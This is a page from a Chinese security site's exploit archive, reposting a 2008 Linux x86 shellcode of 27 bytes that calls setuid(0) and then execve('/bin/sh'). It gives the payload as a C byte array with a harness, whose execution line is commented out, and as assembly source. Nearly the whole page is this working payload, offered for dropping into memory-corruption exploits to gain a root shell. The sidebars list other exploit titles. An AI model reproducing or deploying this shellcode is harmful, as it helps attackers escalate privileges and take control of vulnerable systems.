首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
linux/x86 setuid(0) & execve(/bin/sh,0,0) shellcode 27 bytes
来源:http://opensec.es 作者:sch3m4 发布时间:2008-11-15  
-----------[ C Source Code ]-----------
/*
Smallest GNU/Linux x86 setuid(0) && execve(\"/bin/sh\",0,0) Shellcode without NULLs

Coded by Chema Garcia (aka sch3m4)
   + sch3m4@opensec.es
   + http://opensec.es
  Shellcode Size: 27 bytes
  Date: 13/11/2008
*/


#include <stdio.h>

const char shellcode[]=    "\x31\xC0"        //xor eax,eax
           "\x31\xC9"        //xor ecx,ecx
           "\xB0\x17"        //mov al,17h
           "\x60"            //pusha
           "\xCD\x80"        //int 80h
           "\x61"            //popa
           "\x51"            //push ecx
           "\x68\x6E\x2F\x73\x68"    //push 0x68732f6e
           "\x68\x2F\x2F\x62\x69"    //push 0x69622f2f
           "\x89\xE3"        //mov ebx, esp
           "\xB0\x0B"        //mov al,0xb
           "\xCD\x80";        //int 0x80

int main()
{
   printf("Smallest GNU/Linux x86 setuid(0) && execve(\"/bin/sh\",0,0) Shellcode without NULLs"
           "\n\nCoded by Chema Garcia (aka sch3m4)"
           "\n\t + sch3m4@opensec.es"
           "\n\t + http://opensec.es"
           "\n\n[+] Shellcode Size: %d bytes\n\n",sizeof(shellcode)-1);
         //(*(void (*)()) shellcode)();

   return 0;
}

-----------[/ C Source Code ]-----------

-----------[ ASM Source Code ]-----------
global _start

section .text

_start:

xor eax,eax
xor ecx,ecx
mov al,17h
pusha
int 80h ;setuid
popa
push ecx
push 0x68732f6e
push 0x69622f2f
mov ebx, esp
mov al,0xb
int 0x80;execve

-----------[/ ASM Source Code ]-----------

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·MemHT Portal 4.0.1 SQL Injecti
·Discuz! 6.x/7.x Remote Code Ex
·SlimCMS <= 1.0.0 (edit.php) Re
·MS Windows Server Service Code
·Net-SNMP <= 5.1.4/5.2.4/5.4.1
·VeryPDF PDFView OCX ActiveX Op
·Castle Rock Computing SNMPc <
·Sudo <= 1.6.9p18 (Defaults set
·Linux Kernel < 2.4.36.9/2.6.27
·Minigal b13 (index.php list) R
·smcFanControl 2.1.2 Multiple B
·MS Windows Server Service Code
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved